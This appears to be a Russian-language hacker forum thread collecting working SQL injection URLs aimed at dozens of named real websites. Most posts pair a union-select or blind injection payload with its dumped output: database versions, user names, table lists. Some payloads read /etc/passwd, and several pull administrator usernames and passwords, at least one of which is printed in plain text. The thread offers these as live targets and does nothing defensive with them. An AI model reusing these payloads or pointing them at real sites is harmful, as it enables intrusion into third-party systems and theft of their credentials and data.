SQL Инъекции

Code:

http://www.tltinfo.ru/index.php?id=-12135+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12/*

Database Version: 4.0.20-log
Database name: info
User name: webuser@localhost

Code:

http://www.fcneman.com/index.php?id=photos&detail=60&album=-1+union+select+concat_ws(0x3a,version(),database(),user())--

Database Version: 5.0.81-community
Database name: fcneman_typo3
User name: fcneman_typo3@localhost

 

http://www.hardw.com.ua/reviews.php?id=-1+un ion+select+1,concat_ws(0 x3a,ver sion(),database(),user(),@ @versi on_compile_os)/*

Database Version: 5.0.45-community
Database name: hardw_hardw1
User name: hardw_keith@localhost
OS: unknown-linux-gnu
Из hardw_hardw1:

Code:

debates
news
phorum2_forum_group_xref
phorum2_forums
phorum2_groups
phorum2_messages
phorum2_settings
phorum2_subscribers
phorum2_user_group_xref
phorum2_user_newflags
phorum2_user_permissions
phorum2_users
reviews
sources

P.S. Проверял в гугле на антибоян. Гугл ничего не нашел.

 

кал : э (

/*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
be-mine.ru/article.php?id=6+and+substring(@@version,1,1)=5--+
version():5
/*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
intimdelo.ru/index.php?id=-18+union+select+1,2,3,version(),5--+
version():4.1.22-standard-log
/*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
uaescort.com/ads/index.php?ct=girls&md=details&id=3950+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34--+
Вроде блайнд....
Version():4
/*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
radioshanson.ru/cgi-bin/ph_guests.pl?a=ph&id=512+and+substring(@@version,1,1)=3--+
version():3
жаль....
/*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/

 

version: 4.1.22-log
database: inksystem
user: inksystem@alpha
version_compile_os: portbld-freebsd5.5

на антибоян проверял в гугл , вроде нет...

 

[email protected]

4.0.22161648db@localhost161648db

5.0.81-community kuwaitle_mich@localhost kuwaitle_GenralDB

 

Code:

http://www.edl.co.nz/shop.php?action=list&id=-16+union+select+1,2,3,concat(user_name,0x3a3a3a,password),5,6,7,8,9,10+from+users--

Code:

http://www.autom.com.ua/index.php?lang_id=1&menu_id=391&content_id=239&qu_id=-4+union+select+concat_ws(0x3a,adminuser,adminpass)+from+wmp_admin--&cat_id=3

==============

 

Code:

http://domcigar.ru/acess.php?id=-233+union+select+1,2,3,4,5,6,7,8,version(),10,11,12,13--

5.0.67-log

Code:

http://domcigar.ru/acess.php?id=-233+union+select+1,2,3,4,5,6,7,8,group_concat(table_name+separator+0x0a),10,11,12,13+from+information_schema.columns--

 

http://www.mautner.at/?task=content&id=74+union+select+1,concat(0x2a,version(),user(),database())

5.0.51b-logdb208388_12@local3db208388_12

(PS:xss тож есть правда пассивка)

 

Code:

http://www.ihma.in/chapter%20news.php?ID=-20+union+select+version(),2--

5.0.81-community

Code:

http://www.laxpower.com/laxnews/news.php?story=-15877+union+select+1,2,3,4,5,6,7,8,9,10,11,version(),13,14,15,16,17,18,19,20,21,22,23,24--

4.1.22-log

 

http://www.sfmslaw.com/pages/cases.php?id=-234+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,unhex(hex(load_file(0x2f6574632f706173737764))),6,7,8,9,0,1,2,3,4,5,6,47+from+mysql.user/*

Database Version: 4.1.11
Database name: class_action_database
User name: apshel@localhost

 

http://www.fisharewet.org/articles.php?id=-16+union+select+1,concat_ws(0x3a,user(),version()),3,4,5--

User: [email protected]:
Version: 4.1.25-Debian_mt1

 

Code:

http://www.summervillehomes.org/communities.php?id=-8+union+select+1,version(),user()--

4.1.22-standard-log, summervi_svh@localhost

Code:

http://vritikaherbotech.com/basket.php?id=-2+union+select+1,version(),3,4,5,6,7,8,9,10--

5.0.77-community

Code:

http://vritikaherbotech.com/basket.php?id=-2+union+select+1,group_concat(concat(table_name,0x2f2f2f,table_schema)+separator+0x0a),3,4,5,6,7,8,9,10+from+information_schema.columns--

 

http://www.shooflypublishing.co.uk/product.php?id=-13+union+select+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
shoofly_@localhost:4.1.22-standard:shoofly_shoofly

http://www.altereglow.co.uk/docs.php?doc_id=-19+union+select+1,concat_ws(0x3a,user(),version(),database()),3--
web78-a-cubec-57@localhost:5.0.82-community:web78-a-cubec-57

http://www.onthetable.co.uk/product.php?product=Freud_Tea_Pot&sproductID=11+limit+0+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8--
[email protected]:5.0.45:db50847

http://www.smartmeter.co.uk/product.php?prod_id=-5+union+select+1,2,3,4,5,6,7--
web17_smartbase@localhost:5.0.82-community:web17_smartbase

http://www.phillipsandevans.co.uk/product.php?product=-2858+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--
web33-pae@localhost:5.0.82-community:web33-pae

 

http://www.epscor.dbi.udel.edu/outreach/science/article.php?id=-1+union+select+concat_ws(0x3a,user(),version()),2,3--

PR: 5

user: epscor-dev@localhost
version: 5.0.60

---

 

Code:

http://www.mmenterprises.co.in/news.php?nid=4+and+substring(version(),1,1)=5

Code:

http://www.aurensa.es/news.php?lang=ENG&year=-2007+union+select+1,2,3,4,5,6,7,8--

5.0.51a-3ubuntu5.4

Code:

http://www.anforaformacion.es/news/php/v_oldboletin.php?codigo=-16+union+select+version(),2,3,4--

5.0.32-Debian_7etch10-log

Code:

http://www.coecidriga.lv/news.php?lang=lv&cid=9&tid=-79+union+select+1,2,3,4,5,6,unhex(hex(version())),8,9,10,11,12--

4.1.15-Debian_1ubuntu5-log

 

Торгово-промышленная палата Российской Федерации.

Code:

Microsoft SQL Server 2005 - 9.00.1406.00 (Intel X86) Mar 3 2007 18:40:02 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2) 

 

Code:

http://www.atlantix.ie/payroll.php?id=-1+union+select+1,concat(username,0x2f2f2f2f,password),3,4+from+administration--&language=russian

atlantix////KARMI123